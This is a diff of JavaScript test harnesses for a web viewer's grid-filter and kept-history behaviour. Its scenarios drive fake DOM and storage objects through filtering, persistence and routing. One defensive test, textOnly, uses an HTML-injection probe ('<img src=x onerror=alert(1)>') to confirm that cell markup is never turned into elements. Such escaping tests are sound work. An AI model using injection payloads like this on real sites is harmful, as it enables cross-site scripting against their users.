+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  focus() { globalThis.document.activeElement = this; this.fire("focus"); }
+  contains(n) { for (; n; n = n.parent) if (n === this) return true; return false; }
+  find(tag) { for (const c of this.children) { if (c.tag === tag) return c; const f = c.find && c.find(tag); if (f) return f; } return null; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+let downloads = [];
+globalThis.document = { activeElement: null, body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+const origCreate = URL.createObjectURL;
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+
+/* A fake localStorage: `fail` makes a read or a write throw, as a browser that refuses storage does. */
+const makeStorage = () => {
+  const items = new Map();
+  const s = { items, failRead: false, failWrite: false, reads: 0, writes: 0 };
+  s.getItem = (k) => { s.reads++; if (s.failRead) throw new Error("storage refused"); return items.has(k) ? items.get(k) : null; };
+  s.setItem = (k, v) => { s.writes++; if (s.failWrite) throw new Error("quota"); items.set(k, String(v)); };
+  s.removeItem = (k) => { if (s.failWrite) throw new Error("quota"); items.delete(k); };
+  return s;
+};
+let storage = makeStorage();
+globalThis.localStorage = storage;
+const warnings = [];
+console.warn = (m) => warnings.push(String(m));
+/* A window that records its listeners, so a scenario can fire "pagehide" the way a closing tab does. */
+const windowListeners = {};
+globalThis.window = { addEventListener: (t, fn) => { (windowListeners[t] ||= []).push(fn); } };
+const firePagehide = () => { for (const fn of windowListeners.pagehide || []) fn({}); };
+const wait = (ms) => new Promise((r) => setTimeout(r, ms));
+
+const root = process.argv[2];
+let generation = 0;
+/* A fresh copy of panels.js: its module state (the filters in the page) starts empty, as after a restart of the browser. */
+const loadPanels = async () => await import(pathToFileURL(root + "/panels.js").href + "?gen=" + generation++);
+let mod = await loadPanels();
+let VIZ = mod.VIZ;
+/* A restart of the browser: the page was closed first, which flushes a pending write (pagehide). */
+const reload = async () => { mod.flushGridFilters(); mod = await loadPanels(); VIZ = mod.VIZ; };
+
+const cols = [
+  { key: "u", label: "Login" },
+  { key: "i", label: "Ix", format: "int" },
+];
+let site = 0;
+const newRoute = () => { globalThis.location = { hash: "#/server/a/vf" + site++ }; };
+const buildRows = (values) => values.map((u, i) => ({ u, i }));
+const build = (values, extraCols) => VIZ.table({ rows: buildRows(values) }, { rowsKey: "rows", columns: extraCols || cols, title: "VF", tools: false });
+const all = (n, out = []) => { out.push(n); for (const c of n.children) all(c, out); return out; };
+const ths = (w) => w.find("table").find("thead").find("tr").children;
+const tbodyOf = (w) => w.find("table").children[1];
+const filterBtn = (w, i) => ths(w)[i].children.find((c) => c.tag === "button");
+const open = (w, i) => filterBtn(w, i).click();
+const byClass = (w, cls) => all(w).filter((n) => (n.className || "").split(" ").includes(cls));
+const textBox = (w) => byClass(w, "grid-filter-input")[0];
+const searchBox = (w) => byClass(w, "gfv-search")[0];
+const chips = (w) => byClass(w, "grid-filter-chip").map((n) => n.textContent);
+const count = (w) => (byClass(w, "grid-filter-count")[0] || { textContent: "" }).textContent;
+const valueItems = (w) => byClass(w, "gfv-item").filter((n) => !n.className.split(" ").includes("gfv-all"));
+const itemBox = (n) => n.children.find((c) => c.tag === "input");
+const itemText = (n) => n.children.find((c) => c.tag === "span").textContent;
+const allBox = (w) => itemBox(byClass(w, "gfv-all")[0]);
+const shownIx = (w) => tbodyOf(w).children.filter((t) => t.style.display !== "none").map((t) => Number(t.children[1].textContent.replace(/,/g, "")));
+const type = (w, text) => { const b = textBox(w); b.value = text; b.fire("input"); };
+const search = (w, text) => { const b = searchBox(w); b.value = text; b.fire("input"); };
+const tick = (item, on) => { const b = itemBox(item); b.checked = on; b.fire("change"); };
+const findItem = (w, value) => {
+  const real = valueItems(w).filter((n) => !n.className.split(" ").includes("gfv-blank"));
+  /* the exact spelling first (the sharp s and "SS" are different values), then the same value in another case */
+  return real.find((n) => itemText(n) === String(value)) || real.find((n) => itemText(n).toLowerCase() === String(value).toLowerCase());
+};
+const blankItem = (w) => valueItems(w).find((n) => n.className.split(" ").includes("gfv-blank"));
+const notes = (w) => byClass(w, "gfv-note").map((n) => n.textContent).filter((t) => t !== "");
+/* What a reader's next visit would see: the kept copy of the filters, read the way the page reads it. */
+const stored = () => { mod.flushGridFilters(); const t = storage.items.get("pm.gridFilters.v1"); return t === undefined ? null : JSON.parse(t); };
+const storedState = () => {
+  const doc = stored();
+  if (!doc) return { mode: "None", values: [], blank: false };
+  for (const [, cols2] of doc.grids) for (const f of Object.values(cols2)) if (f.values) return { mode: f.values.mode === "hide" ? "Hide" : "ShowOnly", values: f.values.set, blank: f.values.blank };
+  return { mode: "None", values: [], blank: false };
+};
+
+const shownIx0 = (w) => tbodyOf(w).children.filter((t) => t.style.display !== "none").map((t) => t.children[0].textContent);
+
+const out = {};
+const scenarios = {
+  /* One case of the shared fixture: every step's actual figures, for the test to compare with the step's expect. */
+  async fixtureCase() {
+    const { readFileSync } = await import("node:fs");
+    const fixture = JSON.parse(readFileSync(process.argv[4], "utf8"));
+    const kase = fixture.cases.find((c) => String(c.id) === process.argv[5]);
+    newRoute();
+    const gen = (rows) => (Array.isArray(rows) ? rows : Array.from({ length: rows.generate.count }, (_, i) => rows.generate.prefix + i));
+    let data = gen(kase.rows);
+    let w = build(data);
+    open(w, 0);
+    out.steps = [];
+    for (const step of kase.steps) {
+      switch (step.action) {
+        case "open": break;
+        case "search": search(w, step.text); break;
+        case "untick":
+          for (const v of step.values) tick(findItem(w, v), false);
+          if (step.blank) tick(blankItem(w), false);
+          break;
+        case "tick":
+          for (const v of step.values) tick(findItem(w, v), true);
+          if (step.blank) tick(blankItem(w), true);
+          break;
+        case "tickOnly": {
+          const b = allBox(w); b.checked = false; b.fire("change");
+          for (const v of step.values) tick(findItem(w, v), true);
+          if (step.blank) tick(blankItem(w), true);
+          break;
+        }
+        case "selectAll": { const b = allBox(w); b.checked = step.ticked; b.fire("change"); break; }
+        case "refresh":
+          data = step.rows ? gen(step.rows) : [...data, ...step.addRows];
+          w = build(data);
+          break;
+        case "textMatch": {
+          const sel = byClass(w, "grid-filter-op")[0];
+          if (sel) { sel.value = step.operator.toLowerCase(); sel.fire("change"); }
+          type(w, step.text);
+          break;
+        }
+        default: throw new Error("unknown action " + step.action);
+      }
+      const items = valueItems(w);
+      const real = items.filter((n) => !n.className.split(" ").includes("gfv-blank"));
+      const n = notes(w);
+      out.steps.push({
+        action: step.action,
+        listBlank: items.some((n2) => n2.className.split(" ").includes("gfv-blank")),
+        listValues: real.map(itemText),
+        listCount: items.length,
+        note: n.length ? n[0] : null,
+        state: storedState(),
+        shown: shownIx(w).map((ix) => data[ix]),
+        shownCount: shownIx(w).length,
+      });
+    }
+  },
+  /* A value is built from text only: markup in a cell is a name to tick, never an element. */
+  textOnly() {
+    newRoute();
+    const evil = ["<b>x</b>", "<img src=x onerror=alert(1)>", "plain"];
+    const w = build(evil);
+    open(w, 0);
+    out.items = valueItems(w).map(itemText);
+    out.elements = all(w).filter((n) => ["b", "img", "script"].includes(n.tag)).length;
+    out.labels = valueItems(w).map((n) => itemBox(n).attrs["aria-label"]);
+    tick(findItem(w, "<b>x</b>"), false);
+    out.chip = chips(w);
+    out.shown = shownIx(w);
+  },
+  /* Which columns get a list: text only, not opted out, nothing over 256 characters. */
+  offered() {
+    const has = (w, i) => { open(w, i); const r = byClass(w, "grid-filter-values").length > 0; filterBtn(w, i).click(); return r; };
+    const mix = [
+      { key: "u", label: "Login" },
+      { key: "i", label: "Ix", format: "int" },
+      { key: "t", label: "Seen", format: "time" },
+      { key: "q", label: "Query", valueList: false },
+      { key: "l", label: "Long" },
+      { key: "e", label: "Edge" },
+    ];
+    const rows = [
+      { u: "sa", i: 1, t: "2026-01-01T00:00:00Z", q: "select 1", l: "x".repeat(257), e: "y".repeat(256) },
+      { u: "app", i: 2, t: "2026-01-02T00:00:00Z", q: "select 2", l: "short", e: "z" },
+    ];
+    newRoute();
+    const w = VIZ.table({ rows }, { rowsKey: "rows", columns: mix, title: "Offered", tools: false });
+    out.offered = mix.map((_, i) => has(w, i));
+  },
+  /* Escape and focus: the list lives inside the filter box, so it closes with it. */
+  async keyboard() {
+    newRoute();
+    const w = build(["sa", "app"]);
+    open(w, 0);
+    out.labels = [searchBox(w).attrs["aria-label"], allBox(w).attrs["aria-label"], byClass(w, "gfv-list")[0].attrs["aria-label"]];
+    const panel = textBox(w).parent;
+    panel.fire("keydown", { key: "Escape" });
+    out.closed = byClass(w, "gfv-search").length === 0;
+    out.refocus = document.activeElement === filterBtn(w, 0);
+  },
+  /* The kept copy: a round trip, a restart, Clear all, the bounds, and a store that is bad or refused. */
+  async kept() {
+    newRoute();
+    const hash = globalThis.location.hash;
+    let w = build(["sa", "app", "job_svc", ""]);
+    open(w, 0);
+    tick(findItem(w, "job_svc"), false);
+    out.stored = stored();
+    out.chip = chips(w);
+    // a refresh and a tab switch (another route and back) in the same page
+    w = build(["sa", "app", "job_svc", "", "newuser"]);
+    out.afterRefresh = shownIx(w);
+    globalThis.location = { hash: "#/server/a/other-tab" };
+    out.otherTab = shownIx(build(["sa", "app", "job_svc", ""]));
+    globalThis.location = { hash };
+    out.backOnTab = shownIx(build(["sa", "app", "job_svc", ""]));
+    // a restart: a new copy of the page script reads the same storage
+    await reload();
+    w = build(["sa", "app", "job_svc", ""]);
+    out.afterRestart = shownIx(w);
+    out.restartChip = chips(w);
+    out.restartButtonOn = filterBtn(w, 0).getAttribute("aria-pressed");
+    open(w, 0);
+    out.restartTicks = valueItems(w).map((n) => [itemText(n), itemBox(n).checked]);
+    // Clear all removes the page's copy and the kept one
+    byClass(w, "grid-filter-clear-all")[0].click();
+    out.afterClearAll = shownIx(w);
+    out.storedAfterClearAll = stored();
+    out.keyAfterClearAll = storage.items.has("pm.gridFilters.v1");
+    await reload();
+    out.restartAfterClearAll = shownIx(build(["sa", "app", "job_svc", ""]));
+  },
+  async keptBad() {
+    const bads = ["{not json", "[]", "null", "42", '{"v":2,"grids":[]}', '{"v":1,"grids":"x"}', '{"v":1,"grids":[["k",5],[7,{}],["k2",{"c":{"op":"contains","text":"","values":{"mode":"hide","set":[1],"blank":false}}}]]}'];
+    out.drawn = [];
+    for (const b of bads) {
+      storage = makeStorage();
+      globalThis.localStorage = storage;
+      storage.items.set("pm.gridFilters.v1", b);
+      await reload();
+      newRoute();
+      out.drawn.push(shownIx(build(["a", "b"])).length);
+    }
+    // a refusing store: reading, then writing, never stops the grid; the warning comes once
+    storage = makeStorage();
+    globalThis.localStorage = storage;
+    storage.failRead = true;
+    storage.failWrite = true;
+    await reload();
+    newRoute();
+    const w = build(["sa", "app", "job_svc"]);
+    open(w, 0);
+    tick(findItem(w, "job_svc"), false);
+    tick(findItem(w, "app"), false);
+    out.refusedShown = shownIx(w);
+    mod.flushGridFilters();
+    out.warnings = warnings.length;
+    // no storage object at all
+    delete globalThis.localStorage;
+    await reload();
+    newRoute();
+    const w2 = build(["sa", "app", "job_svc"]);
+    open(w2, 0);
+    tick(findItem(w2, "job_svc"), false);
+    out.noStorageShown = shownIx(w2);
+  },
+  async keptBounds() {
+    // 250 stored grids: only the newest 200 are kept once the page writes
+    const grids = Array.from({ length: 250 }, (_, i) => ["#/server/a/g" + i + "|VF|" + "k", { c: { op: "contains", text: "t" + i } }]);
+    storage.items.set("pm.gridFilters.v1", JSON.stringify({ v: 1, grids }));
+    await reload();
+    newRoute();
+    const w = build(["sa", "app"]);
+    open(w, 0);
+    tick(findItem(w, "app"), false);
+    const doc = stored();
+    out.gridCount = doc.grids.length;
+    out.firstKept = doc.grids[0][0];
+    out.lastKept = doc.grids[doc.grids.length - 1][0].startsWith("#/server/a/vf");
+    // a value part with more than 1,000 values is not kept (a cut set would hide the wrong rows)
+    storage.items.clear();
+    await reload();
+    newRoute();
+    const many = Array.from({ length: 3000 }, (_, i) => "x" + i);
+    const w2 = build(many);
+    open(w2, 0);
+    const a = allBox(w2); a.checked = false; a.fire("change");
+    search(w2, "x2");
+    const b = allBox(w2); b.checked = true; b.fire("change");
+    out.bigShown = shownIx(w2).length;
+    out.bigStored = stored();
+    out.bigChip = chips(w2);
+    // a stored set longer than 1,000 is refused on the way in too
+    storage.items.set("pm.gridFilters.v1", JSON.stringify({ v: 1, grids: [["k", { c: { op: "contains", text: "", values: { mode: "hide", set: Array.from({ length: 1001 }, (_, i) => "v" + i), blank: false } } }]] }));
+    await reload();
+    newRoute();
+    out.refusedLong = shownIx(build(["a", "b"])).length;
+  },
+  /* Chips and the pressed state read as "hides N values" / "shows N values", beside a text match. */
+  chips() {
+    newRoute();
+    const w = build(["sa", "app", "job_svc", "etl", "x"]);
+    open(w, 0);
+    tick(findItem(w, "job_svc"), false);
+    out.one = chips(w);
+    tick(findItem(w, "etl"), false);
+    out.two = chips(w);
+    out.pressed = filterBtn(w, 0).getAttribute("aria-pressed");
+    const b = allBox(w); b.checked = false; b.fire("change");
+    tick(findItem(w, "sa"), true);
+    tick(findItem(w, "x"), true);
+    out.shows = chips(w);
+    type(w, "x");
+    out.both = chips(w);
+    out.shownBoth = shownIx(w);
+    out.countText = count(w);
+    byClass(w, "grid-filter-x")[0].click();
+    out.afterX = shownIx(w);
+    out.afterXStored = stored();
+  },
+  /* Select All covers what the search matches, the box mirrors the ticks, and the notes read right. */
+  selectAllUnderSearch() {
+    newRoute();
+    const w = build(["sa", "app", "APP", "app2", "job_svc", ""]);
+    open(w, 0);
+    search(w, "app");
+    out.listed = valueItems(w).map(itemText);
+    const b = allBox(w); b.checked = false; b.fire("change");
+    out.state = storedState();
+    out.shown = shownIx(w);
+    out.allChecked = allBox(w).checked;
+    out.allIndeterminate = allBox(w).indeterminate;
+    search(w, "");
+    out.allIndeterminateFull = allBox(w).indeterminate;
+    out.blankTicked = itemBox(blankItem(w)).checked;
+    search(w, "zzz");
+    out.noMatch = byClass(w, "gfv-empty").map((n) => n.textContent);
+  },
+
+  /* The web half of the shared name pairs: noListName over every "web" key the fixture lists. */
+  async namePairs() {
+    const { readFileSync } = await import("node:fs");
+    const gvf = await import(pathToFileURL(root + "/grid-value-filter.js").href);
+    const find = (o) => { for (const [k, v] of Object.entries(o)) { if (k === "noListColumnPairs") return v; if (v && typeof v === "object" && !Array.isArray(v)) { const r = find(v); if (r) return r; } } return null; };
+    const pairs = find(JSON.parse(readFileSync(process.argv[4], "utf8")));
+    out.excluded = pairs.excluded.map((p) => [p.web, gvf.noListName(p.web)]);
+    out.listed = pairs.listed.map((p) => [p.web, gvf.noListName(p.web)]);
+  },
+  /* Which columns get a list by name (the shared no-list rule), with cells short enough to list: the Alerts "Detail"
+     column (key detail_text), job step messages, error and script columns, "reason" (the name rule alone, no marker), and a plain column. */
+  offeredByName() {
+    const has = (w, i) => { open(w, i); const r = byClass(w, "grid-filter-values").length > 0; filterBtn(w, i).click(); return r; };
+    const names = ["detail_text", "step_message", "error_message", "recommendation_details", "description", "reason", "Script", "ImplementationScript", "LastError", "AdditionalInfo", "login_name", "status"];
+    const mix = names.map((k) => ({ key: k, label: "Col " + k }));
+    const row = {};
+    for (const k of names) row[k] = "short";
+    newRoute();
+    const w = VIZ.table({ rows: [row, { ...row }] }, { rowsKey: "rows", columns: mix, title: "ByName", tools: false });
+    out.names = names;
+    out.offered = mix.map((_, i) => has(w, i));
+  },
+  /* The list holds a cell's raw value, not what the cell draws, and a blank is a blank raw value. */
+  rawValues() {
+    newRoute();
+    const cs = [{ key: "u", label: "Login", render: (r) => "<<" + (r.u ?? "none") + ">>" }];
+    const rows = [{ u: "sa" }, { u: "App" }, { u: "app" }, { u: null }, { u: "  " }, { u: "job" }];
+    const w = VIZ.table({ rows }, { rowsKey: "rows", columns: cs, title: "Raw", tools: false });
+    open(w, 0);
+    out.items = valueItems(w).map(itemText);
+    out.hasBlank = !!blankItem(w);
+    tick(findItem(w, "sa"), false);
+    out.shown = shownIx0(w);
+    tick(blankItem(w), false);
+    out.shownNoBlank = shownIx0(w);
+  },
+  /* A column built from other fields (the Alerts Status, Triage and Mute columns): the rows have no field named by its
+     key, so the raw value is undefined and the list is built from the text the cells show. */
+  async derivedColumn() {
+    const { el } = await import(pathToFileURL(root + "/util.js").href);
+    newRoute();
+    const hash = globalThis.location.hash;
+    const mk = () => [
+      { key: "status", label: "Status", render: (r) => (r.muted ? "Muted" : r.send_error ? "Delivery error" : "Delivered") },
+      { key: "triage", label: "Triage", csv: false, render: () => el("a", { href: "#/triage", text: "Open" }) },
+      { key: "mute", label: "Mute", csv: false, render: () => el("a", { href: "#/mute", text: "Mute this alert" }) },
+      { key: "i", label: "Ix", format: "int" },
+    ];
+    const shownAt3 = (x) => tbodyOf(x).children.filter((t) => t.style.display !== "none").map((t) => Number(t.children[3].textContent));
+    const rows = [{ muted: true, i: 0 }, { send_error: "boom", i: 1 }, { i: 2 }, { muted: true, i: 3 }];
+    let w = VIZ.table({ rows }, { rowsKey: "rows", columns: mk(), title: "Derived", tools: false });
+    open(w, 0);
+    out.statusItems = valueItems(w).map(itemText);
+    out.statusHasBlank = !!blankItem(w);
+    tick(findItem(w, "Muted"), false);
+    out.afterUntick = shownAt3(w);
+    await reload();
+    globalThis.location = { hash };
+    w = VIZ.table({ rows }, { rowsKey: "rows", columns: mk(), title: "Derived", tools: false });
+    out.afterReload = shownAt3(w);
+    for (const i of [1, 2]) {
+      open(w, i);
+      out["items" + i] = valueItems(w).map(itemText);
+      out["blank" + i] = !!blankItem(w);
+      filterBtn(w, i).click();
+    }
+    /* A stored value filter that names a shown label matches those rows (a filter kept by an earlier build). */
+    mod.flushGridFilters();
+    const doc = stored();
+    for (const [, cols2] of doc.grids) for (const f of Object.values(cols2)) if (f.values) out.storedSet = f.values.set;
+    /* A no-list column (valueList: false) over the same shape is still not offered a list. */
+    newRoute();
+    const noList = mk();
+    noList[0].valueList = false;
+    w = VIZ.table({ rows }, { rowsKey: "rows", columns: noList, title: "Derived2", tools: false });
+    open(w, 0);
+    out.noListOffered = byClass(w, "grid-filter-values").length > 0;
+  },
+  /* The search folds case like .NET OrdinalIgnoreCase: a capital sharp s is not a sharp s, "ss" is not a sharp s. */
+  searchFold() {
+    newRoute();
+    const w = build(["\u1E9E", "stra\u00DFe", "STRASSE", "App", "\u0130x"]);
+    open(w, 0);
+    search(w, "\u00DF");
+    out.sharpS = valueItems(w).map(itemText);
+    search(w, "ss");
+    out.ss = valueItems(w).map(itemText);
+    search(w, "APP");
+    out.app = valueItems(w).map(itemText);
+    search(w, "app");
+    out.appLower = valueItems(w).map(itemText);
+  },
+  /* Writes are debounced: a burst of clicks is one write, after the quiet; pagehide writes at once. */
+  async debounced() {
+    newRoute();
+    const w = build(["sa", "app", "job_svc", "etl"]);
+    open(w, 0);
+    storage.writes = 0;
+    tick(findItem(w, "app"), false);
+    tick(findItem(w, "etl"), false);
+    tick(findItem(w, "sa"), false);
+    out.writesAtOnce = storage.writes;
+    out.keyAtOnce = storage.items.has("pm.gridFilters.v1");
+    await wait(150);
+    out.writesAt150 = storage.writes;
+    await wait(500);
+    out.writesAfterQuiet = storage.writes;
+    out.setAfterQuiet = JSON.parse(storage.items.get("pm.gridFilters.v1")).grids[0][1];
+    // pagehide flushes a change that has not waited
+    tick(findItem(w, "job_svc"), false);
+    out.writesBeforePagehide = storage.writes;
+    firePagehide();
+    out.writesAfterPagehide = storage.writes;
+    const doc = JSON.parse(storage.items.get("pm.gridFilters.v1"));
+    out.setAfterPagehide = Object.values(doc.grids[0][1])[0].values;
+  },
+  /* A text match on a column that gets no list lasts the session: kept by a refresh and a tab switch, never written,
+     never read back. A text match on a list column is kept across a restart. */
+  async sessionText() {
+    newRoute();
+    const hash = globalThis.location.hash;
+    const cs = [
+      { key: "u", label: "Login" },
+      { key: "detail_text", label: "Detail" },
+      { key: "why", label: "Why", valueList: false },
+    ];
+    const rows = [{ u: "sa", detail_text: "alpha", why: "one" }, { u: "app", detail_text: "beta", why: "two" }, { u: "etl", detail_text: "alpha", why: "two" }];
+    const draw = () => VIZ.table({ rows }, { rowsKey: "rows", columns: cs, title: "Sess", tools: false });
+    const shown = (w) => tbodyOf(w).children.filter((t) => t.style.display !== "none").map((t) => t.children[0].textContent);
+    let w = draw();
+    open(w, 1); type(w, "alpha"); filterBtn(w, 1).click();
+    open(w, 2); type(w, "one"); filterBtn(w, 2).click();
+    open(w, 0); type(w, "a"); filterBtn(w, 0).click();
+    out.inPage = shown(draw());
+    out.storedText = JSON.stringify(stored());
+    await reload();
+    globalThis.location = { hash };
+    w = draw();
+    out.afterRestart = shown(w);
+    out.chipsAfterRestart = chips(w);
+  },
+  /* A value part kept on a column that has stopped getting a list: it still filters, shows read-only with a Clear
+     button, and the text match that was kept on it is dropped. */
+  async keptValuePart() {
+    newRoute();
+    const hash = globalThis.location.hash;
+    const base = [{ key: "grp", label: "Grp" }, { key: "i", label: "Ix", format: "int" }];
+    const rows = ["x", "y", "z"].map((g, i) => ({ grp: g, i }));
+    let w = VIZ.table({ rows }, { rowsKey: "rows", columns: base, title: "Kept", tools: false });
+    open(w, 0);
+    tick(findItem(w, "y"), false);
+    type(w, "x");
+    out.before = shownIx(w);
+    await reload();
+    globalThis.location = { hash };
+    w = VIZ.table({ rows }, { rowsKey: "rows", columns: [{ key: "grp", label: "Grp", valueList: false }, base[1]], title: "Kept", tools: false });
+    out.afterShown = shownIx(w);
+    open(w, 0);
+    out.hasList = byClass(w, "grid-filter-values").length > 0;
+    out.keptNote = byClass(w, "gfv-kept-note").map((n) => n.textContent);
+    out.textBox = textBox(w).value;
+    const clearKept = byClass(w, "gfv-kept-clear")[0];
+    out.hasClear = !!clearKept;
+    clearKept.click();
+    out.afterClear = shownIx(w);
+    out.keptGone = byClass(w, "gfv-kept").length === 0;
+    out.storedAfterClear = JSON.stringify(stored());
+  },
+  /* FinOps: a bare #/finops is rewritten to the server shown, so each server has its own filters. */
+  async finopsKey() {
+    const fin = await import(pathToFileURL(root + "/pages/finops.js").href);
+    globalThis.history = { state: null, replaceState: (st, t, url) => { globalThis.location = { hash: url }; } };
+    const rows = ["sa", "app", "job_svc"];
+    const draw = () => build(rows);
+    globalThis.location = { hash: "#/finops" };
+    fin.pinFinopsHash("srv-a", "utilization");
+    out.hashA = globalThis.location.hash;
+    let w = draw();
+    open(w, 0);
+    tick(findItem(w, "app"), false);
+    out.shownA = shownIx(w);
+    // the reader opens FinOps bare again and lands on another server
+    globalThis.location = { hash: "#/finops" };
+    fin.pinFinopsHash("srv-b", "utilization");
+    out.hashB = globalThis.location.hash;
+    out.shownB = shownIx(draw());
+    // and back on the first
+    globalThis.location = { hash: "#/finops" };
+    fin.pinFinopsHash("srv-a", "utilization");
+    out.shownBackOnA = shownIx(draw());
+    // a hash that already names the server and tab is left alone
+    let calls = 0;
+    globalThis.history = { state: null, replaceState: () => { calls++; } };
+    globalThis.location = { hash: "#/finops/srv-a/utilization" };
+    fin.pinFinopsHash("srv-a", "utilization");
+    out.callsOnSameHash = calls;
+  },
+  /* A refresh in place (Alert History) re-lists the open box. */
+  reconciled() {
+    newRoute();
+    const w = build(["sa", "app"]);
+    open(w, 0);
+    out.before = valueItems(w).map(itemText);
+    const tbody = tbodyOf(w);
+    /* the reconciler updates the row object and its cell together; the list reads the row object */
+    mod.gridRowOf(tbody.children[0]).u = "zed";
+    tbody.children[0].children[0].textContent = "zed";
+    mod.reapplyGridSort(tbody);
+    out.after = valueItems(w).map(itemText);
+  },
+};
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-kept-history-harness.mjs b/Darling/Darling.Tests/web-kept-history-harness.mjs
index ecc25174e8..eda3ad58c0 100644
--- a/Darling/Darling.Tests/web-kept-history-harness.mjs
+++ b/Darling/Darling.Tests/web-kept-history-harness.mjs
@@ -1,6 +1,7 @@
 /* Runs the web viewer's real read path (wwwroot/js/util.js, panels.js and pages/server-tabs.js, plus editor.js for
-   an editor scenario) against a scripted /api/read answer and prints what the panels fetched and drew as one line of
-   JSON. WebRangeKeptHistoryBehaviourTests starts it as
+   an editor scenario and pages/server.js for the offeredRanges scenario) against a scripted /api/read answer and
+   prints what the panels fetched and drew as one line of JSON. WebRangeKeptHistoryBehaviourTests and
+   WebServerPageRangeTests start it as
        node web-kept-history-harness.mjs <path to wwwroot/js> <scenario>
    The modules are copied into a scratch folder beside a recording stand-in for charts.js (the SVG renderer, which
    needs a real browser), then imported. `fetch` and the DOM are stand-ins: a node tree of plain objects, and a fetch
@@ -10,7 +11,14 @@ import os from "node:os";
 import path from "node:path";
 import { pathToFileURL } from "node:url";
 
-const [jsDir, scenario] = process.argv.slice(-2);
+const [jsDir, scenarioArg] = process.argv.slice(-2);
+/* A scenario may carry one argument after a colon: "offeredRanges:168" is the offeredRanges scenario at 168 hours. */
+const [scenario, scenarioValue] = scenarioArg.split(":");
+/* A scenario whose name ends in "Local" draws a window note in the browser's zone (#4966): the zone follows the colon
+   ("floorLocal:America/New_York"), and the answer the page reads is HARNESS_INPUT, the JSON the server sent. The zone
+   is set before anything formats a date, so the page's own localTime renders in it. */
+if (scenario.endsWith("Local") && scenarioValue) process.env.TZ = scenarioValue;
+const INPUT = process.env.HARNESS_INPUT ? JSON.parse(process.env.HARNESS_INPUT) : null;
 
 class FakeNode {
   constructor(tag, text) {
@@ -73,42 +81,61 @@ process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.
 /* The field config an editor scenario derived, or null. */
 let vizcfg = null;
 
+/* The offeredRanges scenario's findings: the hours the server page offers, each read it would ask for more, every
+   ranged read it asked for (as "hours engine tool"), and each tab's note as the page renders it. */
+let offered = null;
+let beyond = null;
+let observed = null;
+let notes = null;
+/* The custom-range scenarios' findings, whatever shape the scenario wants to report. */
+let found = null;
+
 /* The modules, unchanged, with charts.js replaced by a stand-in that records the window each chart was given. An
    editor scenario also loads the view editor (editor.js) and the modules it imports, with compose.js (the composed
    panel card, which no editor scenario draws) as a stand-in. editor.js keeps its save-path sample read in a
    module-private function, so the scratch copy appends one line exporting ensureFieldConfigs; nothing else in the
    copy changes. */
 const editorScenario = scenario.startsWith("editor");
+/* The offeredRanges scenario also loads the server page (pages/server.js and the fleet page it imports). The page
+   keeps its Range presets, and the widest of them that it hands tabNote, in module-private constants, so the scratch
+   copy appends one line exporting RANGE_OPTIONS and holdSpec, the same way the editor copy exports
+   ensureFieldConfigs. */
+const serverPageScenario = scenario === "offeredRanges" || scenario.startsWith("custom") || scenario.startsWith("picker") || scenario.startsWith("tabReach");
 const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "kept-history-"));
 let modules;
 try {
-  fs.mkdirSync(path.join(scratch, "pages"));
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
   fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
-  fs.copyFileSync(path.join(jsDir, "util.js"), path.join(scratch, "util.js"));
-  fs.copyFileSync(path.join(jsDir, "panels.js"), path.join(scratch, "panels.js"));
-  fs.copyFileSync(path.join(jsDir, "pages", "server-tabs.js"), path.join(scratch, "pages", "server-tabs.js"));
-  fs.copyFileSync(path.join(jsDir, "read-fields.js"), path.join(scratch, "read-fields.js"));
   fs.writeFileSync(
     path.join(scratch, "charts.js"),
     'import { el } from "./util.js";\n' +
       "export const SERIES_COLORS = ['#111', '#222', '#333', '#444', '#555', '#666'];\n" +
+      "export const CATEGORICAL_COLORS = SERIES_COLORS;\n" +
       "export const chartCalls = [];\n" +
       "export function normalizeColor(color) { return color; }\n" +
       "export function renderLineChart(opts) {\n" +
-      "  chartCalls.push({ windowStart: opts.windowStart, windowEnd: opts.windowEnd });\n" +
+      "  chartCalls.push({ windowStart: opts.windowStart, windowEnd: opts.windowEnd, points: (opts.points || []).length });\n" +
       "  return el('div', { class: 'chart-stub' });\n" +
-      "}\n"
+      "}\n" +
+      "export function zoomableLineChart(opts) { return renderLineChart(opts); }\n" +
+      "export function chartZoomScope() { return ''; }\n"
   );
   if (editorScenario) {
-    for (const file of ["derive.js", "alert-seed.js", "views-api.js", "refresh-policy.js", "refresh-control.js"]) {
-      fs.copyFileSync(path.join(jsDir, file), path.join(scratch, file));
-    }
     fs.writeFileSync(
       path.join(scratch, "editor.js"),
       fs.readFileSync(path.join(jsDir, "editor.js"), "utf8") + "\nexport { ensureFieldConfigs };\n"
     );
     fs.writeFileSync(path.join(scratch, "compose.js"), "export function renderComposedPanelCard() { throw new Error('not drawn here'); }\n");
   }
+  if (serverPageScenario) {
+    fs.writeFileSync(
+      path.join(scratch, "pages", "server.js"),
+      fs.readFileSync(path.join(jsDir, "pages", "server.js"), "utf8") + "\nexport { RANGE_OPTIONS, holdSpec };\n"
+    );
+  }
